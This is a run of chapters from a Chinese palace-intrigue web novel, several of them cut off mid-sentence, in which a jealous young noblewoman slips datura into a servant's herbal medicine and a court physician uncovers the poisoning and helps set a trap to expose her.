听了灵儿的话,陆天骄忽觉犹如一道晴天霹雳在她的头顶骤然响起,声音连绵不断,她的身子不禁亦随之扑通一声无力地瘫坐了在一边,整个人顿时被震的呆若木鸡一般。

片刻之后,稍一回神,她猛地一下伸出双手来捉住了灵儿的一双小手用力地晃了两下,接着迫不及待地催促问道“衣上云…衣上云她怎么了…她是不是…是不是已经…灵儿快说啊!”

灵儿依旧止不住地伤心痛哭着,哽咽道“那悬崖下是一湍急的湖水,秦王殿下落在了湖滩上,而云姐姐她…她却落入了湖中…没了。许是落下的时候,撞到了湖滩边的一块岩石,流了好大一滩血,都将那块岩石给染红了。”

“什么?”陆天骄怔着瞪大了眼睛一脸惊愕,看着面前此时俨然如同个小泪人儿一般的灵儿。

曾经…不,即便是刚刚的时候,她的心里还是那样的恨那个女人。可不知为什么,当她忽然听到那个女人离世的消息时,她的心里却忽然浮上了一抹就连她自己也说不清道不明的失落感来。

这个女人,曾经险些成为自己长嫂如母般的亲嫂子;这个女人,曾经让她在自己最心爱的男人面前屡屡黯然失色;这个女人,她似是什么都未做,便已经轻而易举的夺走了在这个世上,她爱之如命的男子的心。

可好不容易,她费尽心思想尽了办法留在这秦王府里,下定决心将不顾一切忍辱负重排除万难,亦要等这个女人上门来与她亲自较量一番。

她甚至还想要让这个女人这次彻底的身败名裂,臭名远扬,最好被世人死死地踩下脚下,遭到所有人的唾弃与谩骂。如此,好将其从她最深爱的男子心中连根拔起,再也没有翻身的机会。

之后,她再时宜地将自己重新放进去,让那个男人彻底醒悟,在这个世上,只有她陆天骄才是最彻底和纯粹的真爱着他。

……

可是,为什么,为什么所有的一切,她处心积虑谋划好的这一切,都还尚未来得及登场,便已早早谢幕了呢?!

陆天骄,原来,你不仅连对翰哥哥说那句话的资格都没有,如今,就连跟你的对手上场较量的机会亦都没有。



忽然发现,自己将自己磨炼成今日这般,犹如一只魔鬼似的斗鸡,却悲哀地永远都再也等不到对手的登场。

如若这般,那个离世的女人,便一定会成为翰哥哥心头永远最痛的伤。

如此,她便永远再也走不进去,占据不了他最心尖上的那个位置。

爱就爱了,也便罢了。可陆天骄却偏偏还要爱的如此贪心,想要做她的翰哥哥最心尖上的人。正所谓“天下本无事,庸人自扰之”,太贪心的爱,便早已注定了到头来终会是一场空。

“不,不,不…不可能…这不可能…她怎么能死,她怎么能就这样死去…不能……”陆天骄想着想着,忽然似是发疯了一般自言自语地吼叫起来,还不停地晃动着灵儿的两只细小的胳膊。

灵儿亦哭着闹着喊着“灵儿要云姐姐,云姐姐,你回来,你回来啊,呜…呜…呜……”

就在这时,张嬷嬷捧着药碗从林月轩里闻声,疾跑出来到灵儿的身边,一把便将其小手从陆天骄的紧握中抢了过去,却不经意间对眼前的女子顿眼一怔,后接着又对灵儿安抚道“灵儿乖,不哭,不哭……”

张嬷嬷一边抚摸着灵儿的小脑袋,一边蹲身下去帮其拭了拭那张红扑扑的婴儿肥脸庞的泪水,不禁斜眼狠狠地朝着陆天骄瞪了一眼,然陆天骄此时却只自顾自地沉浸在一片无尽的黯然神伤中,并未注意到张嬷嬷的责怪。

张嬷嬷见其对灵儿完全一副视而不见,听而不闻的架势,便朝陆天骄厉声喝道“你这姑娘是谁啊,打哪儿来的?怎么那么大个姑娘家了,还欺负小孩儿呢?”

陆天骄这才忙回过神来,起身连连致歉道“您就是…张嬷嬷吧。对不起,对不起,我是秦王殿下在西秦学院的小师妹,是秦王妃娘娘执意留我在秦王府里与她解闷作伴的。方才…方才我听这个小妹妹说秦王殿下身受重伤,昏迷不醒已经快两天两夜了,我是心里一急…便…一定是吓到小妹妹了吧,真是对不起,对不起。”

见张嬷嬷并不理会自己,只顾一直安抚着小灵儿,陆天骄便亦手忙脚乱地上前去,一手搭在灵儿的肩上,柔声地关切道“灵儿,真是对不起啊,姐姐方才不是故意的,姐姐是因……”

尚未等陆天骄将话说完,张嬷嬷便怒气冲冲地站起身来将其打断。许是因为轩辕翰病情的影响,心里抑郁着,加之被陆天骄的所作

第二百零八章:欲见郎,悉心筹谋

陆天骄一从外面匆匆忙忙地回到自己房内,便在书房角落紧靠着窗前的一古色古香的大红酸枝檀雕花鸟书架上,疯狂地翻腾了起来。

半晌后,只见她一脸欣喜若狂地从那堆满了书籍经卷的书架上,拿出一本厚厚的《诗经》出来将其翻到了《黍离》这一页,目光久久地停留注视在上面,不禁脸上浮起了一丝哀怨来,入神地口中喃喃道:知我者,谓我心忧;不知我者,谓我何求。悠悠苍天,此何人哉?”

之后,又缓缓地将夹在这一页的一张纸簽展了开来。

原来,这纸簽上竟抄着一个药方,是其父陆贤平日里自己琢磨出来的一方预防治疗自己头痛、头晕、耳鸣、体乏倦怠等诸多老毛病的,好像还颇为有效的样子。

于是,陆天骄便有心地问其亦要了一份,并由陆贤亲笔抄写下来相赠,说是闲暇之余她要拿出来也独自琢磨琢磨,看看能不能改进的比父亲的方子还要更好一些。

找到了药方,将其小心翼翼地踹好在袖中,又将那本诗经归好位,她方才急急出了门又往秦王府后院,一座单独而立的十分静僻的名为“杏林阁”的院落里奔去。

刚到王府后院门口,尚还未见到任何人影闪动,只见杏林阁门前植满了桑树,杜仲,杏树,桃树,酸枣树等等,让人不禁有一种错觉,这不是王府里的药房,而是一座后花园。

然聪明的陆天骄心里深深知道,这些树可都是药材树,它们已经在这里风风雨雨屹立了几十年,却依然都被这位敬业至极的乐太医打理的枝繁叶茂,井井有条,极好。

远远的,她便已嗅到了从院子里面散发出来的阵阵沁人心脾的淡淡药草香味。

赶忙上前两步,站到了杏林阁的拱门口,便一眼看到了院子里一位四旬短须的白衣飘飘医者,正站在院子中央的台子前轻挽起衣袖,独自一人动作娴熟地翻动着晒在竹篾里的各种药草。

院子四周空闲的角角落落里,更是不乏种满了各种即可观赏又实用的药草,像连翘、金银花、鱼腥草、北沙参、薄荷、板蓝根、丹参、麦冬、藿香、党参、紫苏、白术……

望着这曾经熟悉的一切,仿佛时间又回到了八年以前,太妃尚还在世的时候,她会经常借由想念太妃而央求其父陆贤经常来到王府里做客,对这里就像对自己家一样的熟悉。

可是,自打太妃薨世之后,她便再也没有借口来这里了……

有些悲伤地沉默了片刻,忽然,陆天骄一脸喜不胜收地对着白衣医者的后背柔声地唤了声“乐太医”

白衣医者闻声缓缓转过身去,陌生地疑惑道“这位姑娘,请问您是…...”

“乐太医,我是西秦学院陆贤的女儿,天骄啊。小时

候,经常来杏林阁里找您玩,还把您院子里种的连翘花误当成了迎春花,乐太医难道记不得,认不出天骄了么?”陆天骄说着,便进了门来到白衣医者的身旁甚感亲切地扶住了其胳膊。

“迎春花的花每朵有6枚瓣片,连翘的只有4枚。”

‘’千步连翘不染尘,降香懒画蛾眉春,虔心只把灵仙祝,医回游荡远志人。”

在陆天骄的一再提示下,白衣医者终于被这多年未见,而又突然出现在自己眼前的女子大吃了一惊,道“你...你真是陆兄的女儿,天骄?”

陆天骄笑着用力对其点了点头。

白衣医者忙道“你怎么来了,你好久都没来看老夫了,你父亲他可好?快快快,快请进,进去坐。”

俩人一边久别重逢不甚欢喜地聊着,一边踱步进到了药房内。

“乐太医,天骄乃是受秦王妃之邀,暂留府上作陪数日。今日,是来麻烦您帮天骄照着这个药方抓几副汤药的。”陆天骄一边说着,一边将袖里的药方取出递给了白衣医者。

白衣医者接过,心中有些不解道“这是?……”

陆天骄蹙眉,一脸忧心地解释道“喔,方才天骄在林月轩那边见到了一个侍奉殿下哥哥的老嬷嬷,她似乎精神不好。后来仔细一想,她应该就是当年服侍在太妃身边,甚是严苛的张嬷嬷吧。天骄见她症状似乎仿佛与家父相同,便想家父用的这个方子应该会对她的病情有所帮助。如今,殿下哥哥昏迷不醒着,全得依赖张嬷嬷的细心照料,若是她病倒了,那可该怎样是好呢?”

白衣医者一边仔细查看着手里的药方,一边叹着气捋着那嘬短须无奈地道“张嬷嬷的病情老夫略有所知,也曾千叮咛万嘱咐要经常过来做针灸,若再这样下去,一定会出大事的。可她就是放不下心,为了殿下一直亲力亲为操持管理着这府里的下人,闲不住,更不愿静养。在王府里呆了一辈子了,脾气永远都这么固执,执着,没办法。”

俩人沉默了半晌后,白衣医者似是已琢磨出了结果,忽然开口道“银花、菊花、山楂、海带、昆布、绿豆、莲叶、苡米、玉米须、莱菔子、泽舍、茯苓、丹参、田七,八碗水煎取二碗,早晚各服一碗,亦可经常当茶饮用...这个方子倒是真没有在哪儿见过,药性见着都是对的,只是没有验证过,只怕是……”

陆天骄连忙开口将其顾虑打消,说道“哦,乐太医尽管放心,这方子是家父专为自己的病情琢磨所制,家父已经在家连续服用了大半年了,效果极好。以前哥哥若是在外面干了什么混事儿回到家里,父亲一顿训斥还未完便就已经头晕眼花了。可如今啊,就算是让他拿着家法追遍半个学院,都不在

话下呢!再说了,这个方子只是用来预防和阻止病灶继续扩大的,无碍的。”

白衣医者听闻后

第二百零九章:许久未见,永不原谅

陆天骄独自默默地站在拱门口向内张望端详打量了许久,终于端起一脸的笑容来开口轻唤了一声道“张嬷嬷。”

张嬷嬷闻声,猛的抬起头来朝门口一看,顿时便望着来人怔住了。

而此时,一旁正背对着拱门,趴在院子中央的一口大水瓮边上,手里捏着一根睡莲枯枝,挑逗着水中的几条活蹦乱跳的红鲤鱼,正与其饶有兴致地玩耍嬉戏在一起的小灵儿,倒是眼疾手快地迅速转过身去先开了口,瞪大了那双乌亮乌亮的大眼睛,欣喜地奶声奶气道“是你啊!姐姐,你怎么来了?”

“姐姐过来看看可爱的小灵儿啊,可以吗?”陆天骄一边含笑说着,一边便迈步进到了院子里来,顿足对着与她打招呼的小女孩抿起嘴笑了笑,顺势摸了摸灵儿的小脑袋,女孩亦天真无邪地望着她乐的咯咯直笑。

紧接着,陆天骄将一只纤细白嫩的玉手搭在灵儿的肩头,揽起她一起向着角落里的两位老人身边踱步过去。

“张嬷嬷,许久未见,嬷嬷一切可好。我是西秦学院陆贤的女儿,天骄。小时候,经常来王府里探望陪伴太妃娘娘的,嬷嬷可还记得呢?……天骄此次是专程登门前来道歉的,早上因得知了殿下重病不醒,天骄一时情急,关心则乱,便对小灵儿有些失态,若是吓到了灵儿,还望灵儿原谅姐姐。”陆天骄故作诚恳,一脸歉然道。

灵儿毕竟还是个什么都不懂的幼稚孩童,闻此脱口便出“姐姐不必担心,灵儿没事。灵儿知道姐姐也是一片好意,担心秦王殿下。姐姐…你…是不是也喜欢秦王殿下啊?”

众人皆都始料未及,没想到灵儿竟会忽然说出这样的话来。

一时间,俩位老人都被小女孩的话和眼前这女子白皙的脸庞上顿时浮出的一抹绯红色,无言以对,此地无银三百两不打自招的回应惊呆了,不禁面面相觑起来。

顿时间,一院寂静,鸦雀无声。

许久后,张嬷嬷依旧一脸冷冰冰的严肃模样,只顾穿针引线继续忙碌着自己手里的针线活,对于忽然出现在自己眼前的这位温婉端庄大方的女子,俨然一副视而不见,甚至似乎还有那么一些仇视的态度。

此刻,陆天骄心想,果然如乐太医所言,这张嬷嬷的脾性还真是一点儿都没变,还是一如既往的犹如“粪坑里的石头,又臭又硬”。

她一个堂堂书香门第的名门千金大小姐,今日如此低声下气地亲自登门来对她一个下人谢罪,竟是拿她这张尊贵无比的热脸去贴人家的冷屁股,真是屈辱至极。

看这个老东西的架势,想着接下来的事情也定不会顺利,幸好……

就在其正面色尽显尴尬,陷入自己的沉思之际,灵儿奶奶悄悄地窥了眼张嬷嬷

脸上的不悦表情,便猛一下抬手出去一把将灵儿拉入到自己怀中,将灵儿那双红通通的小肥手紧紧握在她的大手里,一边对其哈着气一边用力地揉搓起来,对灵儿呵斥道“你看你这个小祖宗,这天儿还这么凉呢,怎么尽就知道玩水。赶明儿个,我就让程将军把那几条红鲤鱼带走,再也不给你养了,也不知道冷。快快快,把手用力搓搓,要是不小心生了冻疮,今后可有你一辈子的好受呢!”

显然很生气,亦很不自在,陆天骄此时却也不得不为了达到自己的终极目的,继续强颜欢笑地移动目光,放眼过去与张嬷嬷身旁的另一位老人套起近乎来。她自是不能放弃任何一个,哪怕是再渺茫的机会。

陆天骄含笑着过去道“这位应该就是灵儿奶奶吧,天骄经常听灵儿提起。”

陆天骄说着,便将自己随身带来,精心准备的神秘大食盒放在了众人面前的石桌上。

盖子被掀开,顿时散发出一股诱人的沁人心脾香气,弥漫了整个院子。

小女孩刚惊声出一句“好香啊!”,便被奶奶一把堵了其圆嘟嘟的小嘴,陆天骄轻抿起那片红唇对其笑了笑,取出食盒上层的那两包点心,将其拆开摊在石桌上,一脸欣喜地介绍道“这是我给灵儿带的两样点心:这个是用黑芝麻粉和马蹄粉蒸制出的营养丰富的芝麻糕。还有用杏仁、桃仁、橄榄仁、芝麻仁和瓜子仁制成的宫廷五仁饼,灵儿快尝尝。”

说着,陆天骄便伸手从中捏了一块儿馅料极其丰富的五仁饼,欲将其递到灵儿的小手中。

不想,眼看着刚得手两手接过的好吃的即将入口,谁知忽然“啪”的一声,灵儿奶奶竟一把重重地拍在了灵儿的那只小手上,灵儿顿时失望又委屈地哇哇大哭了起来“呜…呜…呜……”

陆天骄见此,终于再也难以强忍其心间的窝火,瞬间卸去一脸欢颜,变作紧锁眉头,正忿忿不平地欲发声出来对其质问,却见张嬷嬷“吧嗒”一声,用力甩下了手里的针线活,继而猛然站起身来,径自朝门外走了去。

见此,陆天骄回头狠狠地瞪了灵儿婆婆一眼,赶忙盖上食盒盖子,一拎起来便慌忙地追逐着张嬷嬷的背影狂奔而去。

“张嬷嬷,张嬷嬷…”一个娇滴滴,两手更是打出生之日起便从未曾沾过阳春之水的大小姐,

第二百一十章:万般皆是命,半点不由人

无论是“小心驶得万年船”也好,“一朝被蛇咬十年怕草绳”也罢。

陆天骄忿忿离去后,张嬷嬷站在原地里几经思索,终究还是将信将疑地缓缓拎起她方才留下的那个乌木食盒,疾步朝着杏林阁方向而去。

一迈步进入幽静的杏林阁里,便大声嚷嚷起来,唤道“乐太医,乐太医你出来……”

“在这儿呢,在这儿呢……”只片刻,便有一阵似是有些不耐烦的男子声音隐隐约约传了出来。

张嬷嬷驻足在院子里,仔细寻声而去,一抬头,原来这已年过四旬的乐太医,竟不知何时爬到了屋檐上,一片被树木遮盖住的地方,不知在捣腾什么长在瓦片上的像似是野草野花一样的东西。

张嬷嬷一见,顿觉心惊肉跳、头晕眼花、似是都不能呼吸了一般,忙抚着胸口道“哎呦妈呀,你这个糟老头子这会儿又发现什么宝贝了呀?这都年纪一大把了还把自己当小伙儿呢,爬那么高做什么?这府里面到处尽是壮丁,随便使唤一个不就成了么?这万一要是摔下来了,那可如何是好啊?哎呦,哎呦,你快下来吧,真是吓死我老婆子了……”

然乐太医却依然一副不管不顾地独自津津乐道“我说张嬷嬷啊,这你就不懂了吧。你可别小瞧了这些顽强生长在屋顶瓦缝中,外表酷似松树的小东西哦,它叫瓦松,耐旱又耐寒。它不但极具观赏价值,也有极高的药用价值。以它入药不仅可以清热解毒、止血敛疮,还具有利湿,消肿的功效。对湿疹、疔疮、痢疾、痔疮、肝病等都有很好的疗效呢。”

“得了得了,老婆子知道在你乐太医的眼里,世间万物皆可治病救人。不过,我说你还是赶紧下来吧,老婆子我看着你就头晕。哎呦,不行了,不行了,不行了……”张嬷嬷一边说着,一边轻扶着脑袋便“扑通”一声,重重地坐了下来在院子里的石桌边上,单手支着额头,似是无力地开始喘息起来。

乐太医小心翼翼地趴在屋檐上兀自仔细端详着,闻声眼睛不禁朝下一撇,见其此时神情已然露出些许异样,这才沿着木梯缓缓爬了下来。

近身到其身旁后,一脸焦急地忙提起石桌上的大腹陶壶,帮其倒出一碗茶色通透油亮,清澈厚重,令人赏心悦目的普洱茶汤来,递了上去关切道“老毛病又犯了吧,让你不听劝。你张嬷嬷是这个王府里亦是老夫平生所见过的最不听话,最固执的病人,教我怎么说你呢?来,先莫要气恼,尝尝老夫这碗普洱茶的滋味,它可以降低血脂、减肥、抑菌助消化、暖胃、生津、止渴、醒酒解毒等多种功效。可清胃生津、消食化痰、解酒解毒、利尿散寒,止咳化痰、降低血脂胆固醇等等,简直大有益处啊。”

张嬷嬷此时确实有些心惊胆颤不已,一接过茶碗来,便赶忙入了一口压了压惊,根本无心品茗,继而只深叹了口气,幽幽苦道“唉,你这个老东西又懂什么?这若是太妃娘娘尚还在世的话,老婆子我就不至于这么辛苦,操这么多闲心了!你也看到了,咱们那少主人对王府上下的这些诸多琐碎之事,从不过问更不关心。本来,好歹好不容易盼着有个王妃进来,可他又偏把人家整日整夜地晾在一边,若无其人。那身份尊贵的东宁公主千里迢迢来与我西秦和亲,在王府里却落了个有名无实的结果,看着…也着实可怜,怪让人心疼的。自从大婚后,整日便被殿下像是软禁了一般关在韶华阁里,府里的这些事,更是根本就插不上手。尔今,若我也放手不管或是怠慢了,那这偌大的一个王府,不就彻底乱套了么?如此,我老婆子又怎么跟那已故去的太妃娘娘交待呢?况且殿下现在……唉”

说着说着,忽然想起病榻上的轩辕翰,张嬷嬷又是重重地叹了口气。

乐太医一边听着张嬷嬷的诉说,一边默默的坐了下来在其身旁,亦同样黯然沉默下来了许久之后,似是无可奈何地也对着手里的茶汤完全无了用心品茗,啜饮入口的风雅兴趣,直接将手里的整碗茶仰起头来一饮而尽。

半晌后,方才回过神来再次开口对其劝慰道“话虽如此,你也应先保重自己才是啊。想必殿下自己的事,心里是有数的。可你这老毛病,如若不好好重视的话,后果真的很严重,老夫可一点儿也没和你开玩笑。若真到了那个时候,就别说是照顾殿下了,就连你自己的衣食住行都需要别人来照顾呢,如此你这岂不反倒成了殿下的拖累了么?”

这时,张嬷嬷方才将目光缓缓移到自己方才带来,放在石桌上的乌木食盒上。继而伸出手将其推到乐太医的面前,眉头紧缩,表情似是有些凝重地问道“你看看,这里面的是不是陆贤家那丫头到你这儿来让你抓的药?”

乐太医听了,忙伸出手一把掀开来食盒的盖子,取出其中的一副药来,甚感似曾相识。继而将其迅速拆

第二百一十一章:识破

眼看着张嬷嬷一手拎着乌木食盒,步履蹒跚着就快要向着她的方向夺门而出,自己即将被暴露,陆天骄当即一双明眸朝着四周迅速一扫,紧接着瘦小的身躯几乎同时灵活一闪,便安全地藏身到了拱门旁树林角落里的小假山后。

待目送其已完全确定远远地走出了自己的视线,方才再次缓缓现身出来到拱门前,望着其远去的背影,露出一抹极具狡黠且又得意的窃笑来,口中低声喃喃道“哼,就凭你这把老骨头,还想与本小姐斗,这辈子你都不够格。除非,今生早点下地狱去,重新投个好胎,下世里不要再为奴为婢。兴许十八年后,或许还能站在本小姐的面前。不过,到时候还要能高的过本小姐的手段才行。如此看来,八年前,本小姐竟真是下手太轻了。不过没关系,来日方长,我们抬头不见…低头见。”

话一说完,陆天骄深深吐了口浊气,转身便又端起另一幅温婉纯善来踏进了杏林阁的大门。

一进门,却刚好看到正忙着整理收拾石桌上的茶碗的乐太医,他忽然皱眉拿起张嬷嬷方才服用药汤的碗来,似是一边仔细端详疑惑着些什么,一边靠近鼻翼间闻了闻。

陆天骄自是心里有鬼,一直不放心着,怕被人发现她在张嬷嬷的药汤里做了见不得人的手脚,所以自从将那罐药汤送出去以后,根本一直都未离开过张嬷嬷的身边,一路紧随其后,直到亲眼看着她将此药服下,方才安心。

不过,她自知就凭她的那点小伎俩,定是瞒不过已年过四旬的乐太医双眼。

此时,一见乐太医的这番举动,陆天骄心中顿觉惊慌失措,赶忙疾步上前去伸手帮忙,莞尔笑道“乐伯伯,您在忙什么呢?天骄帮您吧。”

乐太医本就心有所思着,显然此时被这忽然再次出现在他面前的温婉女子着实惊了一跳,继而神色有些慌张地忙放下手里的茶碗,婉言推辞道“哎呦,这可怎么使得呢。你可是陆兄的掌上明珠啊,生来就是十指不沾阳春水的大家闺秀,锦衣玉食伺候的千金小姐。老夫怎么能舍得让你做这种粗活呢。还是老夫自己来吧,你坐着就好,坐着就好。”

乐太医一边说着,一边埋头始终未停下手里的动作半分,然不想陆天骄却比他更加手脚麻利,似是都有些接近于抢一般地一把夺过他手里的茶具,含笑道“乐伯伯,没关系的,您不要客气。其实,天骄在家里也不总是衣来伸手饭来张口的,偶尔也会自己找些事儿来做。清晰茶具这点小事儿,天骄还是做得了的。您也忙了快一整天了,坐这好好歇歇吧。”

陆天骄一边说着,便摞起石桌上被摊开来的那三只刚刚用过的茶碗,将其小心翼翼地捧在手里急急跑进了屋去。

乐太医看着她疾步离去的背影一脸狐疑,接着又回头看了看石桌上的茶盘里,还单落着一只未曾用过的茶碗和那把泡茶的大腹陶壶,似是若有所思道“如此,那老夫就托小姐的福,今儿个偷个懒了。”

乐太医一边心不在焉地兀自说着,一边想起了张嬷嬷方才跟他所讲的话,不禁心里忽然涌上了一股莫名的恐惧感来。

就在他尚还沉浸在自己的一片深思之际,陆天骄便已手脚麻利地将三只茶碗清洗好又重新送了出来,面色依旧天真纯善,姣好平静中尚且还带着些笑容,道“乐伯伯,茶碗天骄已经帮您洗好了,若是没有其它事的话,天骄这就告辞了。天色也不早了,王妃娘娘出门前还特意交待了天骄一些其它事要忙。”

“哦,你忙你的,无妨无妨,有空便常过来玩。”乐太医闻声,这才忙醒过神来道。

“那…天骄这就告辞了,有空天骄还会过来看您的。乐伯伯,保重!”话一说完,陆天骄方才一脸安心地径自踱着稳稳的步伐,端庄出门离去。

寂静的杏林阁里,忽然似是连周围所有的空气亦都一时间里跟着凝固了起来,瞬间让人几乎要窒息,不得半点呼吸。

乐太医独自坐在石桌边,凝视着陆天骄刚刚从屋里捧出来放在石桌上的那三只尚还叠摞在一起,里里外外都沾满了湿哒哒的水珠的陶瓷茶碗,沉沉地发起呆来……【……*&免费阅读】

“哦,哦,睡觉觉,猫娃钻了一被窝…哦,哦,睡觉觉,猫娃钻了一被窝……”秦王府后院,灵儿婆孙俩独居的小院落里,灵儿奶奶正怀抱着小灵儿在院子中间的水瓮旁边,一边轻拍着其后背对其哼唱着灵儿最喜欢的童谣,一边脚下来来回回地围绕着水瓮缓缓踱着碎步。

怀中的小灵儿胖嘟嘟的小脸庞上已然挂满了泪痕,似是极委屈地睡着了去。

地上方才被她一把打落掉的早已支离破碎的点心,亦还历历在目。

此时,灵儿奶奶正望着小灵儿的脸庞,一脸心疼着。

忽然,张嬷嬷捧着一托盘,里面放着罐药汤

第二百一十二章:任人唯亲悔断肠

待张嬷嬷再次站稳了身子,便赶忙端起拖盘来踱步朝着林月轩方向而去。

而此时,乐太医正一脸愁容不展地将眉头紧紧锁起,手里牢牢地握着一碗他刚刚用防风和桂枝等煎成的尚还冒着腾腾热气的解毒药汤,焦急不安地站在从后院通往林月轩的必经之路,杏林阁的拱门口前一边来回不停地踱步着,一边自言自语地感叹自责道“乐松啊乐松,想当年先帝在世时,枉你还被宫中太医院各位同僚视作神医般的人物。如今,你可真是聪明一世,糊涂一时啊。这次张嬷嬷要是有个什么闪失的话,你是必定难逃助纣为虐之责,万死难辞其咎!”

说完后叹了口气,稍作停顿,又满腹难以置信道“天骄啊天骄,你说你一个好端端的堂堂名门闺秀,为何要对一个手无缚鸡之力,往日里亦与你无冤无仇的老婆子行如此歹毒龌龊之举呢?如今,你怎会变成今天这个样子,这要是让陆兄知道了,他那一世温厚忠良的严苛门风,又该情何以堪呢?”

其实,在乐太医的心里,他不是不知道陆天骄这些年来,虽然没有八年前太妃尚还在世的时候来秦王府里那么频繁,可也是每过一两年便如约而至王府一次,从未间断过联系。

然这八年来,陆天骄却一直都没有再来过他的杏林阁。然就在今日里,她却忽然前后一连两次登门造访。尤其是第二次,她恍若幽灵一般地似是从天而降,着实吓到了他。

因为那个时候,他正无意中惊诧地发现了张嬷嬷在他这儿用过的两个茶碗之中,其中用来服药的那个茶碗里似乎有曼陀罗的残迹。

而就在他因此而沉思之际,陆天骄却猛然一踏进门来便如同抢夺一般将那只非常蹊跷的茶碗从他的手里执意抢了过去,并相当快速地还将其彻底毁尸灭迹,清洗地干干净净。

陆天骄亲口对他说,自己也偶尔会在家中做些家务琐事,然谁家在清洗茶具的时候,独独只清洗用过的几只茶具且不擦拭干净了,而不是将整套都要拿去洗净拭干了,再重新整齐地摆放回原位,待下次再用呢?

很明显,陆天骄一定是心里有鬼。

他早就听闻杏林阁里来来往往的侍卫和仆人们闲言碎语,说西秦学院的大小姐陆天骄除夕不在自己府上过节,反而于除夕前夕来到了秦王府。然迟迟待到今日,明日都将是元宵佳节了,转眼到秦王府已半月有余了,方才忽然来到杏林阁里探望他。这里面,一定是有什么阴谋。

于是,他很快便又联想到了自己在替其抓药的中途,曾经出门过一段时间,去林月轩里看了昏迷中的轩辕翰片刻。

想着,陆天骄八成一定是乘着这个时机在他的药柜里,偷偷地拿到了曼陀罗。又因急着

让张嬷嬷将药服下,便假装好心地帮张嬷嬷煎好了一罐。

不想张嬷嬷却对她一直存有戒心,又许是无奈,也是病急乱投医,她亦欲想拿来试试,便将药拿来杏林阁里给他查验确认。

而他却一时任人唯亲,疏忽大意,只检查了食盒里未煎的药,因他也曾与陆贤交好,深知其为人,出身成长于如此严苛的门风之下,却不想为何陆天骄会成为今天这般模样,与昔日里曾经那个聪明伶俐又乖巧温婉的小女孩简直天壤之别,判若两人。

任人唯亲悔断肠,此时,乐太医的心突然间感觉寒透了,不仅是为自己,为已故的太妃,更是为他的老友陆贤而寒心至极。

人人都道“养儿防老,养儿防老”可在此时,他眼前的这份人间至寒里,他看到的却是满满的恐惧、后怕、失望、错爱、不值……

想着这一切,乐太医不住地连连叹息着,又一次黯然失神地抬起头来眺望了一眼前方的路,却只见到周围一片已愈来愈暗的天色将自己紧紧包裹住,而他一直翘首期盼着的那个人却迟迟都没有出现。

“莫非…该不会是……”忽然,他的心头浮起一抹极不好的预感。于是,赶忙回头疾步过去将大门紧锁,有了这次教训,他定是再也不能让任何人单独留在这个院子里。随后,端着那碗汤药大步流星地朝着后院方向奔去。

出门拐角不远处,张嬷嬷正一边朝着林月轩方向晃晃悠悠地踱步走着,一边只觉眼前忽明忽暗,身子倦怠似是想要昏昏欲睡的样子。

不禁心里暗自琢磨起来,今儿个这到底是怎么了,究竟是她的老毛病又加重了呢,还是那碗汤药的效果,怎么忽然间就觉得这么困呢。

在杏林阁里,乐太医亦因此方是陆贤亲自所为,说的头头是道。所以,在其亲自为她验了药后服下了一碗,回到自己房内,想着陆天骄对自己曾说这药也可以当作茶饮,她亦是自己心急想要早点好起来,即是陆贤亲自试过的方子,自是无疑的,便又多喝了几碗。

可不想怎么这药喝了还有让人想要昏睡的作用呢,莫非这药方本就是强制让人休息,这病便能得好?

正独自思量琢磨之际,一抬头忽然看到似是乐太医正迎面而来,张嬷嬷便昏昏沉沉地打趣他道“我说乐太医啊,这天都快要黑了,你这个糟老头子这是又打从哪里厮混酒喝刚回来啊。你跑到后院来干嘛,这儿可不是你一个堂堂太医能来的地儿啊。瞧你这酒喝的,怎么还把酒碗捧在手里边走边喝起来了?你可千万别喝过了头呀,若是因此而给人家抓错了药,疑惑诊错了病,主子照样砍你

第二百一十三章:欲擒故纵

张嬷嬷及时服下乐太医赶送过来的解毒药汤,稍作歇息后已然大好,俩人仔细商议计划好了一切,便各自开始分头行动。

乐太医一起身来并没有马上回去杏林阁里,为掩人耳目,不被陆天骄心生怀疑,他故意绕道向着秦王府大门方向踱步而去。

而张嬷嬷却一手端着药汤,一手抚着胸口,故作似是难以喘息颇为不适地沿着原路继续往林月轩方向前去。

此时,张嬷嬷的心里愈来愈加肯定,八年前城隍庙里的那场大火,太妃的死,一定不是一场如此简单的意外,其中必定大有文章,且与这西秦学院大小姐定是脱不了干系。

今夜,她便要将当年所发生的一切不为人知的隐情全部揭露出来。

只可惜,太妃遗留于世的唯一骨血,这王府唯一的主子至今都昏迷不醒着,看不到当年所发生的那场惨绝人寰的灾难,其真相今夜终得以水落石出的一刻。

想着想着,张嬷嬷不禁心绪激动地热泪盈眶起来……

就在这时,早早便已精心装扮好,隐身在林月轩一暗处焦急等待着的陆天骄,一看到张嬷嬷的身影出现在其视线里,便疾步奔上前去扶住其一只胳膊,故作一脸忧心又亲切地关怀道“张嬷嬷,您这是怎么了,是哪里不舒服吗?”

张嬷嬷眼疾手快地忙一把拭去了眼角的泪水,低着头一边继续走,一边故作呼吸沉重地道“唉…这可真是‘岁月不饶人’啊,看来我老婆子是真的老了,不中用了。这从后院过来才走了这几步,尚还没到林月轩寝殿呢,便已经似是心都快要跳出来了一般喘不上气来了。这头不但痛还晕地很,似是浑身还在发热一般,身上觉得乏极了,整个人像是要背过气了一般。”

陆天骄心里当然知道,此时张嬷嬷所描述的是多么典型的中了曼陀罗之毒的症状啊,于是在心里暗自窃喜着,惊讶道“啊,这是怎么回事呢,怎么这么严重啊?”

“哎,许是这把老骨头到了时辰了呢?死了也好,这样我老婆子就可以下去继续服侍太妃娘娘了。”张嬷嬷故意说着,窃窃地窥了一眼陆天骄脸上的表情。

陆天骄陡然闻之,双眼果然闪过了一抹惊愣,虽只是极其短暂的一瞬间,然张嬷嬷却将她那眼里的一丝迟疑和恐惧看的真真切切。若不是心中有鬼,一般常人听了这话,绝不会是这种眼神。

“张嬷嬷尽是胡说呢,要不…天骄陪您去杏林阁里给乐太医瞧瞧吧?”不得不说,陆天骄果然有胆识,这个时候竟还敢说出这样的话来。又或许,是张嬷嬷佯装的太像了吧,陆天骄竟当真以为她已中毒如此之深了,自是等不到踏进杏林阁的大门,便要晕厥过去。殊不知,这是乐太医事先早已经跟张嬷

嬷交待好了的要佯装出来的症状和言辞。

张嬷嬷闻言,却是真的愣住了。陆天骄岂会不知,乐太医不被传唤之时,一向只独身呆在那个院子里研究医术,大门不出二门不迈。如若这个时辰回去,乐太医一定不在杏林阁里,且亦不在林月轩里,那她必然心里生疑。思及此,赵嬷嬷看了看手中的药汤,道“我老婆子贱命一条,岂敢劳烦乐大太医。再说了,蒙陆大小姐垂怜,不是赏了老婆子一方神药嘛,老婆子真是感恩戴德了。”

